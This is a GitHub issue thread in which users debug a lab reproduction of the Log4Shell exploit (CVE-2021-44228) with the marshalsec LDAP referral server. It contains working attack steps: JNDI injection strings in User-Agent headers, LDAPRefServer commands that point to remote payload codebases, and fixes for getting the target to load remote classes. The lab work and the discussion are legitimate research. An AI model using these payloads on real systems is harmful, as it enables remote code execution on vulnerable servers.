marshalsec icon indicating copy to clipboard operation
marshalsec copied to clipboard

Marshalsec and webserver do not communicate

Open daniomass opened this issue 3 years ago • 56 comments

I'm trying to reproduce the exploit of CVE-2021-44228. All is done and when i run the request, the LDAP server shows me "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"

but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine. The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.

it seems that marshalsec tool and python webserver does not communicates.

What it could be?? Thank you for the support

daniomass avatar Dec 13 '21 11:12 daniomass

It is only suitable for a few scenes, not for most scenes

fullstcat avatar Dec 13 '21 11:12 fullstcat

-> https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

mbechler avatar Dec 13 '21 11:12 mbechler

oh,That is, the Java version is not applicable and needs to be deserialized

fullstcat avatar Dec 13 '21 12:12 fullstcat

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

3rror101 avatar Dec 14 '21 10:12 3rror101

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

Not yet solved for me. I'm using Java 1.8_0_181 on the attack machine, not a java version issue. Any suggestion?

daniomass avatar Dec 14 '21 11:12 daniomass

Same. Seems like the LDAP reference doesn't actually take place.

Marshalsec:

Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://10.0.0.1:8000/Log4jRCE.class

http server:

$ python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

kenmccann avatar Dec 14 '21 12:12 kenmccann

Is the version of the target host and needs to be by pass

fullstcat avatar Dec 14 '21 12:12 fullstcat

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

kenmccann avatar Dec 14 '21 13:12 kenmccann

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

daniomass avatar Dec 14 '21 14:12 daniomass

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

I'm in the same boat. I've read mbechler's PSA and I don't really see what we could be missing

kenmccann avatar Dec 14 '21 14:12 kenmccann

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

kenmccann avatar Dec 14 '21 15:12 kenmccann

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

So have you solved the issue?

daniomass avatar Dec 14 '21 15:12 daniomass

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

mbechler avatar Dec 14 '21 16:12 mbechler

@mbechler works with 8u181 thanks :)

TobiasStaack avatar Dec 14 '21 16:12 TobiasStaack

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

Here's my setup: java -version java version "1.8.0_181" Java(TM) 64-Bit Server VM (build 25.181-b13, mixed mode) Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed)

The LDAP Server is started with the following syntax: java -cp target/marshalsec-0.0.3-SNAPSHOT.all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#RCE

The HTTP Server is started with the following syntax: python3 -m http.server 8000

i'm on a centos7, for the test i have disabled selinux and firewalld

daniomass avatar Dec 14 '21 16:12 daniomass

Still can't get it to make the connection.

  • Ubuntu 21.10
  • log4jpwn docker container is the exploited workload (exploit works fine)
  • Using JDK 8u181, properly linked
  • marshalsec jar is built with mvn using above jdk
  • Starting the LDAP Ref with this command: $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
  • Initiate exploit with: curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}' localhost:9696
  • marshalsec LDAP server receives the jndi reference and says it forwards it to the HTTP server, but it does not
  • No networking issue between the LDAP server and the HTTP server (same host) and also confirmed with curl

log4jpwn jetty server successfully exploited

$ curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}' localhost:9696
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 9696 (#0)
> GET / HTTP/1.1
> Host: localhost:9696
> Accept: */*
> User-Agent: ${jndi:ldap://192.168.178.253:1389/Log4jRCE}
>
< HTTP/1.1 200 OK
< Date: Tue, 14 Dec 2021 23:52:24 GMT
< Content-Type: text/html;charset=utf-8
< Transfer-Encoding: chunked
< Server: Jetty(9.4.z-SNAPSHOT)

LDAP server receives exploited JNDI reference

kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET received by HTTP server

kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

Local test of HTTP server reachability

kenmac@flanders:~$ curl http://localhost:8889/test123
....

Confirmed that the HTTP server is reachable from the same host

kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

127.0.0.1 - - [15/Dec/2021 00:23:49] code 404, message File not found
127.0.0.1 - - [15/Dec/2021 00:23:49] "GET /test123 HTTP/1.1" 404 -

I took the debugging a step further to see if I could figure out the state of the LDAP referral and added the highlighted line below and recompiled marshalsec: image

The same attempt now shows the LDAP search query result looking like this:

kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=34 (invalid DN syntax), diagnosticMessage='Unable to perform the search because an error occurred while attempting to parse base DN 'Log4jRCE':  The provided string could not be decoded as a DN because no equal sign was found after the RDN attribute 'Log4jRCE'.')

Not sure what's wrong here.

kenmccann avatar Dec 15 '21 00:12 kenmccann

Try ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE}

mbechler avatar Dec 15 '21 07:12 mbechler

Try ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE}

@mbechler I tried ${jndi:ldap://192.168.71.130:7979/cn=Exploit} this and result is the same. Not redirecting. Result: LDAPResult(resultCode=32 (no such object), diagnosticMessage='Unable to perform the search because base entry 'cn=Exploit' does not exist in the server.')

Sumiya1020 avatar Dec 15 '21 07:12 Sumiya1020

cn=Log4jRCE

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for cn=Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=32 (no such object), diagnosticMessage='Unable to perform the search because base entry 'cn=Log4jRCE' does not exist in the server.')

No DN at all: curl -v -H 'User-Agent: ${jndi:ldap://192.168.178.253:1389}' localhost:9696

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for  redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=0 (success))

However, still no outbound connection made to HTTP server.

kenmccann avatar Dec 15 '21 08:12 kenmccann

Hm, that sound like unbound is still unhappy about the DN, maybe ${jndi:ldap://192.168.178.253:1389/cn=Log4jRCE,dc=example,dc=com}

mbechler avatar Dec 15 '21 17:12 mbechler

If it helps I've only seen this when running an apache solr "as an example" on windows, running newer versions of java. It works fine with 181

istern avatar Dec 16 '21 09:12 istern

I'm trying to reproduce the exploit of CVE-2021-44228. All is done and when i run the request, the LDAP server shows me "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"

but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine. The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.

it seems that marshalsec tool and python webserver does not communicates.

What it could be?? Thank you for the support

I have the same issue, but sovled aftert I read this on API doc: This class loader is used to load classes and resources from a search path of URLs referring to both JAR files and directories. Any URL that ends with a '/' is assumed to refer to a directory. Otherwise, the URL is assumed to refer to a JAR file which will be opened as needed. In summary ,when run marshalsec, the codebase need end with "/"

allenz92 avatar Dec 17 '21 09:12 allenz92

Same issue. java 8u181

antihack3r avatar Dec 18 '21 09:12 antihack3r

@allenz92 thanks for the pointer, I did never try to figure out why that was not working in that case.

For every one else still having issues after considering all the mentioned conditions, it would be certainly interesting to figure out why that fails. You could debug the target process, the following call stack (this one is 8u181) would be the relevant part:

loadClass:83, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)

mbechler avatar Dec 18 '21 10:12 mbechler

log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference.

mbechler avatar Dec 18 '21 10:12 mbechler

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on 0.0.0.0:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:

$ python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...

kenmccann avatar Dec 18 '21 11:12 kenmccann

Yes, the call looks good.

mbechler avatar Dec 18 '21 11:12 mbechler

Do we consider the LDAP query result error problematic in this case? Or is this expected behavior even when the remote class is properly sourced from the remote codebase?

kenmccann avatar Dec 18 '21 11:12 kenmccann

Hadn't checked yet, but no this does not seem to be the issue, I also see these in successful exploitation.

Edit: The observed error is just the original status set by unbound the setResult call afterwards clears that.

mbechler avatar Dec 18 '21 11:12 mbechler

having exactly the same issues as @kenmccann Running Ubuntu 20.04 and java 8u181 Have added debugs similar to above have Noticed the Entry: DN value is different when you don't pass class name entry

entry-base-debug

dextacy10-13 avatar Dec 18 '21 12:12 dextacy10-13